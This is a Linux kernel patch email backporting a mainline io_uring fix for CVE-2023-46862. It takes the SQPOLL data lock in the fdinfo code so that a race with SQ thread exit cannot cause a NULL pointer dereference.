From: Jens Axboe <axboe(a)kernel.dk> mainline inclusion from mainline-v6.7 commit 7644b1a1c9a7ae8ab99175989bfc8676055edb46 category: bugfix bugzilla: 189322, https://gitee.com/src-openeuler/kernel/issues/I8BQSX CVE: CVE-2023-46862 Reference: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?… -------------------------------- We could race with SQ thread exit, and if we do, we'll hit a NULL pointer dereference when the thread is cleared. Grab the SQPOLL data lock before attempting to get the task cpu and pid for fdinfo, this ensures we have a stable view of it. Cc: stable(a)vger.kernel.org Link: https://bugzilla.kernel.org/show_bug.cgi?id=218032 Reviewed-by: Gabriel Krisman Bertazi <krisman(a)suse.de> Signed-off-by: Jens Axboe <axboe(a)kernel.dk> Conflicts: io_uring/io_uring.c Signed-off-by: Baokun Li <libaokun1(a)huawei.com> --- io_uring/io_uring.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/io_uring/io_uring.c b/io_uring/io_uring.c index 2e61a67938a7..3fa584b0ee0a 100644 --- a/io_uring/io_uring.c +++ b/io_uring/io_uring.c @@ -10180,7 +10180,7 @@ static int io_uring_show_cred(struct seq_file *m, unsigned int id, static void __io_uring_show_fdinfo(struct io_ring_ctx *ctx, struct seq_file *m) { - struct io_sq_data *sq = NULL; + int sq_pid = -1, sq_cpu = -1; bool has_lock; int i; @@ -10193,13 +10193,19 @@ static void __io_uring_show_fdinfo(struct io_ring_ctx *ctx, struct seq_file *m) has_lock = mutex_trylock(&ctx->uring_lock); if (has_lock && (ctx->flags & IORING_SETUP_SQPOLL)) { - sq = ctx->sq_data; - if (!sq->thread) - sq = NULL; + struct io_sq_data *sq = ctx->sq_data; + + if (mutex_trylock(&sq->lock)) { + if (sq->thread) { + sq_pid = task_pid_nr(sq->thread); + sq_cpu = task_cpu(sq->thread); + } + mutex_unlock(&sq->lock); + } } - seq_printf(m, "SqThread:\t%d\n", sq ? task_pid_nr(sq->thread) : -1); - seq_printf(m, "SqThreadCpu:\t%d\n", sq ? task_cpu(sq->thread) : -1); + seq_printf(m, "SqThread:\t%d\n", sq_pid); + seq_printf(m, "SqThreadCpu:\t%d\n", sq_cpu); seq_printf(m, "UserFiles:\t%u\n", ctx->nr_user_files); for (i = 0; has_lock && i < ctx->nr_user_files; i++) { struct file *f = io_file_from_index(ctx, i); -- 2.31.1

2 1